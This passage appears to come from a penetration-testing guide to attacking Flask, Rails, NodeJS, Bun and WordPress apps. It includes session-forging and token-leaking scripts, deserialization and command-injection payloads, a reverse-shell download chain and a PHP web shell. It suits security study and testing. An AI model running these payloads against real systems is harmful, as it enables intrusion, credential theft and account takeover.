</code></pre>

{% hint style="warning" %}
**Tip**: When put in a script it might need the `--legacy` argument to get correct timestamps. This depends on the Flask version
{% endhint %}

#### Scripted Forging

Using a Python script you can automate this forging process to forge lots of values and find different responses. For example:

<details>

<summary>find_users.py</summary>

```python
from flask_unsign import session
from tqdm import tqdm
import requests

with open("/list/username.txt") as f:
    usernames = [l.strip() for l in f.readlines()]

SECRET_KEY = "secret123"

for username in tqdm(usernames):
    result = session.sign({'logged_in': True, 'username': username}, secret=SECRET_KEY, legacy=True)

    r = requests.get("http://10.10.11.160:5000/dashboard", cookies={"session": result}, allow_redirects=False)
    
    if r.status_code == 200:  # Found
        print("FOUND USER", username, result)
```

</details>


# Ruby on Rails

A common web framework for the Ruby Programming Language

{% hint style="info" %}
**Note**: A lot of content here is taken from [this gist](https://gist.github.com/cyberheartmi9/7fe85b61621f4126462d2125c4b19dfe) talking about Ruby on Rails applications. Be sure to check it out for a lot of attack techniques
{% endhint %}

## Command Execution

In Ruby, if you can execute any code a simple `` ` `` will allow you to execute system commands:

```ruby
`touch a`  # Runs command without output (reverse shell)
puts `id`  # Prints output
```

## Security Pitfalls

### [`Kernel.open()`](https://ruby-doc.org/3.2.2/Kernel.html#method-i-open) vs [`File.open()`](https://ruby-doc.org/core-2.5.0/File.html#method-c-open)

In Ruby, [`Kernel`](https://ruby-doc.org/3.2.2/Kernel.html) is the standard module, and its functions do not need to be prefixed with `Kernel.`, meaning `Kernel.open()` and `open()` are **equivalent**. A different function however is `File.open()`, which sounds like it *should* do the same thing.

One important difference however is that the `open()` function allows subprocesses to be created by prefixing with the `|` pipe symbol:

{% code title="Kernel.open()" %}

```ruby
open("|id") do |file|
    puts file.read
end
# uid=1001(user) gid=1001(user) groups=1001(user)
```

{% endcode %}

{% code title="File.open()" %}

```ruby
File.open("|id") do |file|
    puts file.read
end
# No such file or directory @ rb_sysopen - |id (Errno::ENOENT)
```

{% endcode %}

If you have control over the start of such a path, you can inject a `|` pipe symbol to execute commands. While you often also have Directory Traversal when starting a path with `/`, this attack does not require the `/` slash character and may get through a filter that tries to prevent it.

### Regular Expressions

In ruby you can match a string to some regex in two simple ways:

<pre class="language-ruby"><code class="lang-ruby">a="some text containing abbbbc to match"

<strong>if a =~ /ab+c/
</strong>    puts "match"
end

<strong>if a.match(/ab+c/)
</strong>    puts "match"
end
</code></pre>

These two ways are identical to each other, but not the same as many other programming languages. The uniqueness is that **Regular Expressions are multi-line by default**.

Read [Regular Expressions (RegEx)](/languages/regular-expressions-regex#multi-line-matching) in the RegEx chapter to learn how to exploit this. Below is an example:

```ruby
a="foo\nbar"

if a =~ /^foo$/  # Tries to match only "foo"
    puts "match"  # "bar" gets injected
end
```

### URL Parameters

Similarly to [PHP](/languages/php), Ruby on Rails allows you to put arrays in query parameters:

```url
?user[]=first&user[]=second
```

This will result in a `params` variable like this:

```ruby
{"user" => ["first","second"]}
```

You can even use named array keys to create objects inside:

```url
?user[name]=hacker&user[password]=hunter2
```

```ruby
{"user" => {"name" => "hacker", "password" => "hunter2"}}
```

Finally, you can create `nil` values by not providing a value, which might break some things:

```
?user[name]
```

```ruby
{"user" => {"name" => nil}}
```

See [1.1.2 - Multiparameter attributes](https://gist.github.com/cyberheartmi9/7fe85b61621f4126462d2125c4b19dfe#file-attacking-ruby-on-rails-applications-L165) and [1.1.3 - POST/PUT text/xml](https://gist.github.com/cyberheartmi9/7fe85b61621f4126462d2125c4b19dfe#file-attacking-ruby-on-rails-applications-L188) for more input tricks like these.

## Sessions

You can do a lot if you can find the Secret Key used for verifying sessions. Some common locations are:

* `config/environment.rb`
* `config/initializers/secret_token.rb`
* `config/secrets.yml`
* `/proc/self/environ` (if it's just given via an environment variable)

### Forging sessions

First of all, you can of course sign your own data to create arbitrary objects that might bypass authentication or anything else. See [this code](https://gist.github.com/cyberheartmi9/7fe85b61621f4126462d2125c4b19dfe#file-attacking-ruby-on-rails-applications-L374-L414) as an example to serialize your own data.

### Insecure Deserialization

Ruby on Rails cookies use Marshal serialization to turn objects into strings, and then back into objects for deserialization.

For Ruby 3 you can use a piece of code like this to create a marshal payload executing any Ruby code:

```ruby
 def build_cookie
    code = "eval('whatever ruby code')"
    marshal_payload = Rex::Text.encode_base64(
      "\x04\x08" +
      "o" +
      ":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy" +
      "\x07" +
              ":\x0E@instance" +
                      "o" + ":\x08ERB" + "\x06" +
                              ":\x09@src" +
                                      Marshal.dump(code)[2..-1] +
              ":\x0C@method" + ":\x0Bresult"
    ).chomp
    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"),
      SECRET_TOKEN, marshal_payload)
    marshal_payload = Rex::Text.uri_encode(marshal_payload)
    "#{marshal_payload}--#{digest}"
  end
```

For more recent versions, the following post describes a different deserialization chain:

{% embed url="<https://nastystereo.com/security/ruby-3.4-deserialization.html>" %}

**More References**

* [PayloadsAllTheThings/Ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/Ruby.md)
* [YAML Deserialization](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)

### Dangerous methods

{% embed url="<https://bishopfox.com/blog/ruby-vulnerabilities-exploits>" %}
Explanation for dangerous methods tricks with `send`/`instance_eval`
{% endembed %}

In highly dynamic apps, Ruby developers occasionally expose the `send` or `public_send` method to user input. Here for example the `params[:send_value]` key is splatted into the method (turns an array into multiple parameters):

{% code title="Vulnerable Example" %}

```ruby
@send_article.send(*params[:send_value])
```

{% endcode %}

The method calls the method named in its 1st parameter with the arguments from its 2nd until last argument. This allows an attacker to decide which method to call with which parameters. A critical built-in one is `eval`, which as the name suggests, evaluates its 1st parameter as a string. The exploit would thus be:

{% code title="Exploit send()" %}

```ruby
http://127.0.0.1:3000/?send_value[]=eval&send_value[]=`id>/tmp/pwned`
```

{% endcode %}

The `public_send` does the same, but only allows calling *public* methods. `eval` is not one of them, but luckily there is a counterpart `instance_eval` which does the same while being public.

{% code title="Vulnerable Example" %}

```ruby
@send_article.public_send(*params[:send_value])
```

{% endcode %}

{% code title="Exploit public\_send()" %}

```ruby
http://127.0.0.1:3000/?public_send_value[]=eval&public_send_value[]=`id>/tmp/pwned`
```

{% endcode %}

## Ransack Data Exfiltration

{% embed url="<https://positive.security/blog/ransack-data-exfiltration>" %}
Article explaining the technique and exploitability
{% endembed %}

The popular [Ransack](https://github.com/activerecord-hackery/ransack) Ruby library allows developers to query a database in the form of **objects**. On version < 4.0.0 (Released: Feb 9, 2023), there is a big risk of **mass assignment** in query parameters that perform these filters. The client often provides a query where they can specify what attributes to filter for with conditions like `cont` (contains) or `start` (starts with). These can be pointed to sensitive data like password reset tokens by an attacker and exfiltrated character-by-character by the named filters.

{% hint style="info" %}
The reason versions after 4.0.0 are often safe, is because an explicit whitelist is required to be filled out per class to select all queryable attributes. Of course, a developer could still include sensitive fields here by mistake, but it is safe by default.
{% endhint %}

Take this vulnerable code example:

<pre class="language-ruby"><code class="lang-ruby"># User class with sensitive data, has posts
class User &#x3C; ActiveRecord::Base
  validates :email, :username, presence: true
<strong>  attr_accessor :password_hash, :reset_password_token
</strong>  
<strong>  has_many posts
</strong>end
# Post class to be queries, belongs to a user
class Post &#x3C; ActiveRecord::Base
  validates :title, :content, presence: true
  
<strong>  belongs_to :user
</strong>end
# Vulnerable page with user input
def search
<strong>  @q = Post.ransack(params[:q])
</strong>  @posts = @q.result(distinct: true)
end
</code></pre>

Here the `search` page uses `params[:q]` from the client to query the `Post` class, which is indended to be searched for a `title` or `content`.\
Then, a URL like `/search?q[title_cont]=hacking` will respond with all posts with a **title containing "hacking"**. First is the *path* to the attribute: `title`, and then comes the *Predictate*: [`cont`](https://activerecord-hackery.github.io/ransack/getting-started/using-predicates/#cont), separated by an `_` underscore.

{% embed url="<https://activerecord-hackery.github.io/ransack/getting-started/search-matches/>" %}
A **table** of all **predictates** that can be used
{% endembed %}

The **vulnerability** here however, is when we provide a sensitive attribute, which is easy as the path to the attribute can be deeper by separating them by underscores. If we want to find the `reset_password_token` for example, this is inside of the `user`:\
`/search?q=[user_reset_password_token_cont]=hacking`. This query will return something if there is a user with "hacking" in their password reset token, but this can be abused by doing a character-by-character brute-force attack where we provide all possible starting characters and find which give a response back, indicating it was found:

<pre class="language-clike" data-title="Exploit"><code class="lang-clike">GET /posts?q[user_reset_password_token_start]=0 -> Empty results page
GET /posts?q[user_reset_password_token_start]=1 -> Empty results page
<strong>GET /posts?q[user_reset_password_token_start]=2 -> Results in page
</strong></code></pre>

Afterward, we know a token starts with `2`, and we can simply try all other characters after it:

<pre class="language-clike"><code class="lang-clike">GET /posts?q[user_reset_password_token_start]=20 -> Empty results page
GET /posts?q[user_reset_password_token_start]=21 -> Empty results page
...
GET /posts?q[user_reset_password_token_start]=2c -> Empty results page
<strong>GET /posts?q[user_reset_password_token_start]=2d -> Results in page
</strong></code></pre>

By continually doing this, eventually, we find for example `q[user_reset_password_token]=2dd0571e439813f7` which shows the entire token is correct, and we have leaked it in only a few requests.

Leaking such hexadecimal token can look something like this:

{% code title="ransack\_token\_leak.py" %}

```python
import requests
from tqdm import tqdm  # Progress bar

HOST = "http://localhost:4567"  # TARGET
ALPHABET = b"0123456789abcdef"

token = b""
for length in tqdm(range(16), desc="Length", leave=False):
    for c in tqdm(ALPHABET, desc=f"{length}", leave=False):
        prefix = token + bytes([c])
        params = {  # Check with start (case insensitive)
            "q[user_reset_password_token_start]": prefix.decode(),
        }
        r = requests.get(HOST + "/search", params=params)

        if len(r.text) > 5000:  # Threshold for results
            token += bytes([c])
            tqdm.write(repr(token))
            break
    else:  # If nothing new found, we are done
        break

token = token.decode()
print("Found case-insensitive:", token)
```

{% endcode %}

In this case, we found the sensitive `user` and `reset_password_token` attributes by reading the code, but in a more black-box scenario where you only notice the pattern of\
`?q[attr_predicate]=` some **guessing** is required. Tools like [`ffuf`](https://github.com/ffuf/ffuf) can fuzz for these attributes by providing the `FUZZ` keyword in the correct part of a URL:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ ffuf -u 'http://localhost:4567/search?q[OBJ_PROP_eq]=random6bQ1kL' -w objs.txt:OBJ -w props.txt:PROP -fs 7301
</strong>...
<strong>[Status: 200, Size: 521, Words: 56, Lines: 15, Duration: 3ms]
</strong><strong>    * OBJ: user
</strong><strong>    * PROP: reset_password_token
</strong>
[Status: 200, Size: 521, Words: 56, Lines: 15, Duration: 5ms]
    * OBJ: user
    * PROP: name

[Status: 200, Size: 521, Words: 56, Lines: 15, Duration: 3ms]
    * OBJ: user
    * PROP: id
</code></pre>

In the example above, we try to find an object and property that when `_eq` is put on it, returns false because it is not found. Then the size is smaller and different from when the attribute is **wrong**, as then it is *ignored* returning **all results** in a static size.\
This behavior depends, as in some cases a **wrong** guess will instead give **no results**, requiring you to change the fuzzing. A strategy for this would be to create a (mostly) always-true query like\
`?q[OBJ_PROP_cont]=_` asking for the property to contain at least one character (`_` = wildcard).

<details>

<summary>Wordlists (small)</summary>

{% code title="objs.txt" %}

```
user
author
creator
writer
by
```

{% endcode %}

{% code title="props.txt" %}

```
id
name
first_name
firstname
first
email
password
token
recoveries
recoveries_key
recoveries_token
recovery
recovery_key
recovery_token
password_recovery
password_recovery_token
reset_password_token
password_reset_token
password_token
reset_token
token_reset_password
token_password_reset
```

{% endcode %}

</details>

### Case Insensitive Predicates

An important note, however, is the fact that the [`start`](https://activerecord-hackery.github.io/ransack/getting-started/using-predicates/#start-starts-with) predicate is **case-insensitive**, meaning using just this technique we won't know the casing of a token. For a hexadecimal token, this is no problem, but for a Base64 token, it is important to get this correct.

There is no easy way to make `start` case-sensitive, but there are alternative predicates that are case-sensitive like `eq` (SQL `=`) or `cont` (SQL `LIKE`). Not all databases perform `LIKE` **case-sensitively**, some popular ones that **do** include PostgreSQL and Oracle DB.\
While MySQL/MariaDB, SQLite, or Microsoft SQL **do not**. It is easy to test if this is the case by searching for a string with the wrong casing using the `eq` or `cont` predicates.

Commonly `eq` will work case-insensitively making it possible to guess all different combinations of casing for a token. If you found a token like `a2b`, you can try `a2b`, `A2b`, `a2B`, and `A2B` to find the correct one. Then, use this correct token to reset the password, or whatever else the sensitive data lets you do. Here is an implementation:

```python
# Try change with all cases
def all_casings(input_string):
    if not input_string:
        yield ""
    else:
        first = input_string[:1]
        if first.lower() == first.upper():
            for sub_casing in all_casings(input_string[1:]):
                yield first + sub_casing
        else:
            for sub_casing in all_casings(input_string[1:]):
                yield first.lower() + sub_casing
                yield first.upper() + sub_casing

for cased_token in tqdm(list(all_casings(token)), desc="Casing", leave=False):
    params = {  # Check with equals (case sensitive)
        "q[user_reset_password_token_eq]": cased_token,
    }
    r = requests.get(HOST + "/search", params=params)
    
    if '<li>' in r.text:  # Threshold for results
        break

print("Found case-sensitive:  ", cased_token)
```

### Binary Search

If the targeted data is **numeric**, it is possible to use the `lt` (less than) or `lteq` (less than or equal) predicates to compare a range of values all at once. This algorithm is called [Binary Search](https://en.wikipedia.org/wiki/Binary_search_algorithm) and can drastically speed up your attack. Here is a simple implementation that leaks the `number` attribute from `user`:

{% code title="Numeric Binary Search" %}

```python
def test(guess):
    """if target is lower than guess (not equal)"""
    params = {
        "q[user_number_lt]": guess,
    }
    r = requests.get(HOST + "/search", params=params)

    return len(r.text) > 5000

def binary_search(lo=0, hi=10000):
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if test(mid):
            hi = mid - 1
        else:
            lo = mid
    
    return lo
```

{% endcode %}

A more advanced example is achieving **Binary Search for string attributes**. We require a way to test multiple values at once, to test a range (half of the possible values) at once. It turns out, the `start_any` predicate (similar to [`cont_any`](https://activerecord-hackery.github.io/ransack/getting-started/using-predicates/#cont_any-contains-any)) can do this for us! It requires an array and performs the regular `start` predicate with all the strings in that array, and if one is found, it is successful.

We can make use of this by specifying half of the possible continuations as an array in the query parameters, which will return results if the next character is in *any of them*, achieving Binary Search once again.

Some important things to note are firstly the fact that Ruby (and many other frameworks) accept arrays as query parameters by duplicating the names and appending `[]` like\
`?array[]=1&array[]=2` to create `array=["1","2"]`. We use this to generate the required strings. These strings need to be the known *prefix* so far, and half of the possible characters. If we know `prefix="se"` the guesses will be `["sea", "seb", "sec", ...]`.

Here is an example implementation:

{% code title="String Binary Search" %}

```python
import requests

HOST = "http://localhost:4567"
ALPHABET = list("0123456789abcdefghijklmnopqrstuvwxyz")

def test(prefix, guess):
    # Create array of possible continuations
    l = [prefix + c for c in ALPHABET[:guess]]
    # Pass array as query parameters
    params = [("q[user_reset_password_token_start_any][]", s) for s in l]
    r = requests.get(HOST + "/search", params=params)

    return '<li>' in r.text

def binary_search(prefix, lo=0, hi=len(ALPHABET)):
    while lo < hi:
        mid = (lo + hi + 1) // 2
        if test(prefix, mid):
            hi = mid - 1
        else:
            lo = mid
    
    return ALPHABET[lo] if lo < len(ALPHABET) else None

if __name__ == "__main__":
    prefix = ""
    while result := binary_search(prefix):
        prefix += result
        print(prefix)
```

{% endcode %}

{% hint style="success" %}
In **every situation,** binary search will be **faster** than linear search, but the difference is largest when `ALPHABET` is largest. If this is `N`, the average time for both will be:

* Linear Search: `N/2` (N=50 -> 25 attempts)
* Binary Search: `log2(N)` (N=50 -> 6 attempts)
  {% endhint %}


# NodeJS

The backend for running JavaScript as a server or application

## # Related Pages

{% content-ref url="/pages/LRsZdzzcQ7PahGUFDJCO" %}
[JavaScript](/languages/javascript)
{% endcontent-ref %}

{% content-ref url="/pages/XSUqRrBzV73SMIOxs3i3" %}
[Bun](/web/frameworks/bun)
{% endcontent-ref %}

## Code Execution

<pre class="language-javascript"><code class="lang-javascript">// Simplest
<strong>require("child_process").execSync("id").toString()
</strong>// When require() is undefined
<strong>process.mainModule.require("child_process").execSync("id").toString()
</strong>// When process.mainModule is undefined
<strong>process.binding('spawn_sync').spawn({
</strong><strong>    file: '/bin/sh',
</strong><strong>    args: ['sh', '-c', 'id'],
</strong><strong>    stdio: [
</strong><strong>        {type:'pipe',readable:1,writable:0},
</strong><strong>        {type:'pipe',readable:0,writable:1},
</strong><strong>        {type:'pipe',readable:0,writable:1}
</strong><strong>    ]
</strong><strong>}).output.toString()
</strong></code></pre>

## Template Injection (SSTI)

Similar to [sqlmap](https://github.com/sqlmapproject/sqlmap), there is [tplmap](https://github.com/epinna/tplmap) which aims to automate template injections by testing various templating engines, as many exist for NodeJS. Here is a simple example:

```shell-session
python2 tplmap.py -u http://localhost:3000/?name=john
```

The tool also allows you to exploit the injection using arguments such as `--os-shell`.\
See the `--help` page for more useful arguments.

## Dependencies (`package.json`)

In every NodeJS project, there is a `package.json` file which contains a lot of metadata information about the project, such as where the main file is, some description, and the dependencies. These are external pieces of code with a version number attached that are used throughout the project.

A possible problem is when these dependencies aren't regularly updated, and vulnerabilities might be found in those dependencies and be fixed in later versions. If the code keeps using the older version it may become vulnerable because of those dependencies.

A simple way to check for known vulnerabilities is by uploading the `package.json` file to Snyk checker:

{% embed url="<https://snyk.io/advisor/check/npm>" %}
Upload your package.json file and see all the vulnerabilities in old dependencies
{% endembed %}

For attackers, this can give an idea of what vulnerabilities there might be. Of course, not all vulnerabilities this checker finds are actually exploitable, but you should find what parts/functions of the vulnerable code are used to see if it is.

### [`mysqljs/mysql`](https://www.npmjs.com/package/mysql) library (latest) - SQL Injection using Objects

{% embed url="<https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4>" %}
Source of this trick, using JSON Objects to inject into prepared statements
{% endembed %}

This popular `npm` library uses prepared statements to prevent SQL Injection using regular *strings*, but a code example like the following is surprisingly still **vulnerable**:

<pre class="language-javascript"><code class="lang-javascript">...
app.post("/auth", function (request, response) {
 var username = request.body.username;
 var password = request.body.password;
 if (username &#x26;&#x26; password) {
<strong>  connection.query(
</strong><strong>   "SELECT * FROM users WHERE username = ? AND password = ?",
</strong><strong>   [username, password],
</strong>   function (error, results, fields) {
    ...
   }
  );
 }
});
...
</code></pre>

In this case the `username` and `password` variables are directly passed into the SQL query, but using prepared statements with `?` question marks as placeholders. Normally this would not be vulnerable to SQL Injection as the library handles separating code and data for you, which would be true if the variables were strings.\
If the variables are *objects,* however, weird things start to happen. With web endpoints in Express like the above, you can use the `Content-Type: application/json` to use JSON for your body, which may contain a more complex `Object` like the following:

```json
{
  "username": "admin",
  "password": {
    "password": 1
  }
}
```

This is not a string anymore and `mysql` will have to put it into the query somehow. Instead of simply stringifying the object, it does something unexpected where key-value pairs become `key=value` pairs inside of the final query:

```sql
SELECT * FROM users WHERE username = 'admin' AND password = password = 1
```

To understand what this weird new query does, we follow the code from **left to right**. The `WHERE` clause makes sure `username` is equal to `'admin'`, and then comes the messed-up syntax. What actually happens here is that the first part `password = password` means "the password column equals the password *column*", which is always true! Then the last `= 1` simply tests if the previous expression is equal to one. Due to type coercion, `TRUE` is the same as `1`, so this condition will also be true.

This results in only the username being checked, which in theory could also be injected in the same way by providing an object for the username, if the administrator username is not known and we want to simply log in as the *first* user.

{% hint style="info" %}
**Tip**: JSON is not the only way to create an `Object` instead of a `String`, as some frameworks also accept the `?name[key]=value` syntax in query or body parameters. The above login bypass would look like this with the new syntax:

<pre class="language-javascript"><code class="lang-javascript">Content-Type: application/x-www-form-urlencoded
...

<strong>username=admin&#x26;password[password]=1
</strong></code></pre>

{% endhint %}

{% hint style="success" %}
Successful **protections** against this technique are:

* The alternative [`mysql2`](https://www.npmjs.com/package/mysql2) library
* Wrapping parameters in `String(...)` to stringify them
* The `stringifyObjects: true` option while setting up with `createConnection`:

<pre class="language-javascript"><code class="lang-javascript">connection = mysql.createConnection({
  ...
<strong>  stringifyObjects: true,
</strong>})
</code></pre>

{% endhint %}

## Debugging

This process is exactly the same using *VSCode Dev Containers* and the *Run and Debug* panel as explained for Python here: [Python](/languages/python#debugging).


# Bun

An alternative JavaScript runtime with unique libraries and quirks

## # Related Pages

{% content-ref url="/pages/LRsZdzzcQ7PahGUFDJCO" %}
[JavaScript](/languages/javascript)
{% endcontent-ref %}

{% content-ref url="/pages/XfjcRyMBT5IyybyZWd2i" %}
[NodeJS](/web/frameworks/nodejs)
{% endcontent-ref %}

## Description

[Bun](https://bun.sh/) is an alternative runtime to NodeJS. It aims to be faster, and pack all tooling into one command: `bun`. This re-implementation comes with some quirks, and the added features can have vulnerabilities too. This page will describe some of them.

## Bun $ Shell

Bun is an alternative JavaScript runtime just like NodeJS, but has some more native packages. One such API is the [$ Shell API](https://bun.sh/docs/runtime/shell) that allows running shell commands safely with [Tagged templates](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals#tagged_templates). User input as a string will be **escaped** properly to prevent injection of more commands.

### Command Injection using Objects

Take a look at the following example:

<pre class="language-typescript" data-title="Example"><code class="lang-typescript">import express from "express";
import { $ } from "bun";

app.get("/", async (req, res) => {
<strong>  const dir = req.query.dir || "";
</strong>
  res.set("Content-Type", "text/plain");
  try {
<strong>    const output = await $`ls /${dir}`.text();
</strong>
    res.send(output);
  } catch (err) {
    console.error(err);
    res.status(500).send(`${err.message}\n${err.stderr}`);
  }
});
</code></pre>

Running this, we can try to access `/?dir=$(id)` in hopes of command substitution, but we get an error instead:

> ```
> ls: /$(id): No such file or directory
> ```

The same will happen for any command injection attempt. There are however, edge cases where this is exploitable, and the example above is surprisingly one of them. The problem lies in an obscure functionality that disables the escaping of arguments: [**`$.escape` (escape strings)**](https://bun.sh/docs/runtime/shell#escape-escape-strings)

In that section of the documentation an interesting example is shown:

> If you do not want your string to be escaped, wrap it in a `{ raw: 'str' }` object:

```javascript
import { $ } from "bun";

await $`echo ${{ raw: '$(foo) `bar` "baz"' }}`;
// => bun: command not found: foo
// => bun: command not found: bar
// => baz
```

If the value in the tagged template is an **object with a `raw` key**, the value **is not escaped**. If we are able to abuse any functionality to make our input into an object, we can include this `raw:` key ourselves to bypass the filtering. In Express, this is possible by using a more complex query string that can create objects like `?dir[raw]=$(id)` becoming `{ raw: "$(id)" }`. This works!

> ```
> Failed with exit code 1
> ls: groups=1000(user): No such file or directory
> ls: /uid=1000(user): No such file or directory
> ls: gid=1000(user): No such file or directory
> ```

Many other frameworks allow creating an object like this from a query string, or even directly from **JSON input** in a request body.

### Globbing

One more interesting functionality in Bun is that [globbing](https://tldp.org/LDP/abs/html/globbingref.html) is partially implemented for filename expansion. This allows inputs like `*` to match all files, and more specific patterns like `*.txt` to match only files ending in `.txt`. Take the following example:

```javascript
const string = String(req.query.string || "");
const output = await $`echo ${string}`.text();
```

The above code should directly echo back your input, but natively it allows wildcards to match any local filenames, even in different directories:

{% code title="?string=\*" %}

```bash
package.json node_modules tsconfig.json bun.lockb README.md index.ts
```

{% endcode %}

{% code title="?string=../\*" %}

```bash
../project1 ../project2 ../project3
```

{% endcode %}

{% code title="?string=/etc/\*" %}

```bash
/etc/alternatives /etc/apt /etc/bash.bashrc ...
```

{% endcode %}

Note that depending on the filenames matched, this can even inject multiple arguments into a place where normally only one argument should be. The following Python script can be used to test this:

{% code title="args.py" %}

```python
#!/usr/bin/env python3
import sys
print(sys.argv[1:])
```

{% endcode %}

```javascript
const string = String(req.query.string || "");
const output = await $`./args.py ${string}`.text();
```

The above will generate multiple arguments in the place of `${string}`, and if you have control over the filenames matched, it may allow you to perform some more complex [Command Exploitation](/linux/linux-privilege-escalation/command-exploitation#argument-injection-wildcards) attacks:

{% code title="?string=a%20b%20c" %}

```python
# Notice a single argument normally:
['1 2 3']
```

{% endcode %}

{% code title="?string=\*" %}

```python
# Notice multiple arguments using wildcard:
['package.json', 'args.py', 'node_modules', 'tsconfig.json', 'bun.lockb', 'README.md', 'index.ts']
```

{% endcode %}

### Bun <= v1.1.8 - Forgotten characters

In older versions of Bun, the first implementation of escaping shell characters lacked a few key characters that should have been escaped. Namely: `` ` `` and `<` which can still cause trouble in the command line. [A commit from version 1.1.8 to 1.1.9](https://github.com/oven-sh/bun/commit/60482b6e42445dc277cb6e2ba0e61471cc4fbff1#diff-8944ca8e3b75efc062f0f4b956bc5fa2aa66b2367c80560beedf1dbb7e1b29b3L3964) adds these characters to the escape list.

{% code title="Diff 1.1.8 vs 1.1.9" overflow="wrap" %}

```diff
- const SPECIAL_CHARS = [_]u8{ '$', '>', '&', '|', '=', ';', '\n', '{', '}', ',', '(', ')', '\\', '\"', ' ', '\'' };
+ const SPECIAL_CHARS = [_]u8{ '~', '[', ']', '#', ';', '\n', '*', '{', ',', '}', '`', '$', '=', '(', ')', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '|', '>', '<', '&', '\'', '"', ' ', '\\' };
```

{% endcode %}

Before this commit, we could abuse weird parsing of the shell to write files, and execute commands. Take the following vulnerable example:

<pre class="language-javascript" data-title="Vulnerable Example"><code class="lang-javascript">import { $ } from "bun";

const server = Bun.serve({
    host: "0.0.0.0",
    port: 1337,
    async fetch(req) {
<strong>        const msg = (await req.formData()).get("msg");
</strong>        if (typeof msg !== "string") {
            return new Response("msg is not a string", { status: 400 });
        }

<strong>        const output = await $`echo ${msg}`.text();
</strong>        return new Response(output, { headers: { "Content-Type": "text/plain" } });
    }
});
</code></pre>

In the above code snippet, any input inside `msg=` will be passed to `echo` and returned as a response. The shell API is used correctly and should not allow for command injection. It is however vulnerable to RCE in this older version!

First, you should know a weird parsing behavior allowing you to **write the output of a command to a file**. By piping STDOUT (`1`) from an input file with `<`, the output of the `echo` command is **appended** to the file. Note that spaces are not allowed, but the payload below works:

{% code title="Payload" %}

```sh
anything1</tmp/foo
```

{% endcode %}

{% code title="Result" %}

```sh
$ cat /tmp/foo
anything
```

{% endcode %}

{% code title="Payload 2" %}

```sh
some%09tabs1</tmp/foo
```

{% endcode %}

{% code title="Result" %}

```sh
$ cat /tmp/foo
anything
some    tabs
```

{% endcode %}

Tabs (`%09`) are allowed, and can be used as shell argument separators.

Next, backticks (`` ` ``) are not escaped either. These allow for execution of arbitrary commands, just without arguments. By passing the just-written file as input to `sh`, we will be able to execute arbitrary commands *with* arguments.

{% code title="Payload" %}

```sh
`sh</tmp/foo`
```

{% endcode %}

In the first step, we could have written a file with some commands to execute a reverse shell. Keep in mind that there are still some limitations around what content may be written to the file, as it is directly the output of the original command. You will be able to use only the following special characters in your input before the `<`:

{% code title="Allowed Characters" %}

```regex
\t (%09)
#%!+.-/:?[]^_~
0-9a-zA-Z
```

{% endcode %}

Execute `curl` or `wget` to download an arbitrary file with your reverse shell, or when preinstalled tools are limited, try using [Shells](/linux/hacking-linux-boxes#restricted-charset--no-http-dns-dd-shell).

{% code title="Full Exploit" %}

```sh
msg=curl%09host.docker.internal:8000%09-o%09/tmp/shell1</tmp/cmd
msg=`sh</tmp/cmd`
msg=`sh</tmp/shell`
```

{% endcode %}


# WordPress

A popular Content Management System (CMS) for static content, with a visual UI

## # Related Pages

{% content-ref url="/pages/lPjv8cvNuNY7bn5d5aSO" %}
[PHP](/languages/php)
{% endcontent-ref %}

## WPScan

The state-of-the-art security scanner for WordPress is `wpscan`, checking and enumerating many different vulnerabilities from plugins, backup files, and other WordPress-specific errors.

{% embed url="<https://wpscan.com/wordpress-cli-scanner>" %}
WordPress security scanner
{% endembed %}

See the [API Setup](https://github.com/wpscanteam/wpscan?tab=readme-ov-file#optional-wordpress-vulnerability-database-api) for instructions on how to use their API to get real-time updates of vulnerability data such as versions of plugins. This is highly recommended to make sure you find the newest CVEs.

The following command starts such a scan with extra options enabled and writes the output to a file:

{% code overflow="wrap" %}

```bash
wpscan --url http://$IP --enumerate ap --plugins-detection aggressive --plugins-version-detection aggressive -o wpscan.txt
```

{% endcode %}

The results of such a scan often reveal outdated plugins with vulnerabilities, and/or generic misconfigurations to exploit. Use a search engine here when unsure about exploiting a certain finding.

## XML RPC Brute Force

One vulnerability that is infamous with WordPress is the `/xmlrpc.php` file being public. But what is the real risk you may ask? The main risk is the `system.multicall()` function that you can interact with to send multiple XML RPC requests simultaneously, and the server will process them all separately.

You can imagine that for a heavy request, this can amplify one request into a ton of load on the server, possibly resulting in a **Denial of Service** (DoS). Another idea is using the fact that you can send lots of request at the same time to bypass a rate limit, for password attempts, for example. There exists an RPC call to log in with a username and password to the administrator panel, and with this technique you can do so hundreds of times in one request, significantly speeding up the process ([more details](https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/)).

The following tool implements this idea by guessing many passwords from a wordlist:

{% embed url="<https://github.com/aress31/xmlrpc-bruteforcer>" %}
Tool to brute force WordPress passwords using XML RPC multicall
{% endembed %}

```bash
xmlrpc-bruteforcer -u $USERNAME -w /list/rockyou.txt -x http://$IP/xmlrpc.php
```

## Authenticated RCE

When authenticated **as an admin**, you can make any changes to the site. This also means you can edit the PHP code that is executed whenever a page is visited, allowing you to write code that executes shell commands.

You should be able to access **Tools** -> **Theme File Editor** to edit the current theme:

```bash
$BASE_URL/wp-admin/theme-editor.php
```

Then, select any `.php` file you think will be executed when you visit a page. By default, there is a `functions.php` file that every other file includes, so it will always be run. Edit such a file to include any PHP code you want to execute:

```php
<?php
system($_GET["cmd"]);
```

After saving, you should be able to access the page to run the code:

```bash
$BASE_URL/?cmd=id
```

{% hint style="warning" %}
If this does not work for any reason, alternatives include the **Tools** -> **Plugin File Editor** with any plugin, then activate it at **Plugins** -> **Installed Plugins** to trigger the code:

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php
</strong><strong>system("id > /tmp/pwned");
</strong></code></pre>

As a last option, you can always upload your own malicious plugin like this:\
<https://github.com/wetw0rk/malicious-wordpress-plugin>
{% endhint %}

## Custom Plugins

